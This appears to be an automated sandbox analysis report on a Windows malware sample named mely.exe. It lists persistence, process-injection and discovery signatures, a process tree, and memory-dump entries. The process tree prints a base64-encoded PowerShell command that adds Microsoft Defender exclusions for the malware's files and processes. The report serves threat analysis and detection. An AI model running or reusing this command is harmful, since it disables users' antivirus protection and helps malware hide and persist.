Analysis
- max time kernel
150s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
10/08/2026, 12:20
General
- Target mely.exe
- Size 1.6MB
- Sample260810-phyp6sybne
- SHA256 3e62c839ff25262272f603a089ecccf728a43183bf31459c834f36c71ab8b0cc
Malware Config
Signatures
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\mely.exe"C:\Users\Admin\AppData\Local\Temp\mely.exe"1⤵
- Creates a file in the Startup directory
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAbQBlAGwAeQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABtAGUAbAB5AC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGUAbQBiAGUAcgBOAGEAbQBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AZQBtAGIAZQByAE4AYQBtAGUALgBlAHgAZQA=2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- System Location Discovery: System Language Discovery
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1092-2312-0x0000000000400000-0x00000000004AE000-memory.dmp
memory/1092-2313-0x0000000005550000-0x00000000055DE000-memory.dmp
memory/1092-2315-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/1092-2317-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/1092-2324-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/1092-2323-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/1092-2319-0x0000000005860000-0x0000000005868000-memory.dmp
memory/1092-2318-0x0000000005720000-0x0000000005862000-memory.dmp
memory/2236-104-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-78-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-10-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-16-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-20-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-26-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-28-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-35-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-5-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-8-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-12-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-14-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-40-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-42-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-38-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-36-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-33-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-30-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-25-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-22-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-18-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-44-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-74-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-76-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-72-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-70-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-68-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-67-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-112-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-64-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-62-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-60-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-58-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-56-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-54-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-52-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-50-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-48-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-46-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-94-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-108-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-106-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-116-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-118-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-114-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-110-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-4-0x0000000005D40000-0x0000000005DD2000-memory.dmp
memory/2236-102-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-100-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-98-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-7-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-96-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-0-0x0000000074942000-0x0000000074943000-memory.dmp
memory/2236-90-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-88-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-86-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-84-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-82-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-80-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-130-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-128-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-126-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-124-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-122-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-120-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/2236-2141-0x0000000074942000-0x0000000074943000-memory.dmp
memory/2236-2276-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/2236-2277-0x0000000005F20000-0x0000000005FE6000-memory.dmp
memory/2236-2278-0x0000000006000000-0x00000000060C4000-memory.dmp
memory/2236-2279-0x0000000005E90000-0x0000000005EDC000-memory.dmp
memory/2236-2281-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/2236-2308-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/2236-1-0x0000000000E20000-0x0000000000FCA000-memory.dmp
memory/2236-2322-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/2236-2-0x0000000005AC0000-0x0000000005C64000-memory.dmp
memory/2236-3-0x0000000006220000-0x00000000067DA000-memory.dmp
memory/2236-92-0x0000000005AC0000-0x0000000005C5E000-memory.dmp
memory/5036-2295-0x00000000074A0000-0x00000000074D6000-memory.dmp
memory/5036-2287-0x0000000005C90000-0x0000000005CF6000-memory.dmp
memory/5036-2291-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/5036-2292-0x0000000005E20000-0x000000000617B000-memory.dmp
memory/5036-2293-0x00000000062F0000-0x000000000630E000-memory.dmp
memory/5036-2294-0x0000000006340000-0x000000000638C000-memory.dmp
memory/5036-2297-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/5036-2296-0x0000000070390000-0x00000000703DC000-memory.dmp
memory/5036-2300-0x0000000007500000-0x0000000007520000-memory.dmp
memory/5036-2286-0x0000000005B70000-0x0000000005B92000-memory.dmp
memory/5036-2288-0x0000000005DB0000-0x0000000005E16000-memory.dmp
memory/5036-2302-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/5036-2303-0x0000000007CA0000-0x000000000831C000-memory.dmp
memory/5036-2304-0x0000000007660000-0x000000000767A000-memory.dmp
memory/5036-2305-0x00000000076D0000-0x00000000076DA000-memory.dmp
memory/5036-2307-0x00000000078D0000-0x0000000007966000-memory.dmp
memory/5036-2306-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/5036-2309-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/5036-2314-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/5036-2316-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/5036-2285-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/5036-2284-0x0000000005520000-0x0000000005B6A000-memory.dmp
memory/5036-2321-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/5036-2283-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/5036-2282-0x0000000004E10000-0x0000000004E46000-memory.dmp
memory/5036-2301-0x0000000007520000-0x00000000075C3000-memory.dmp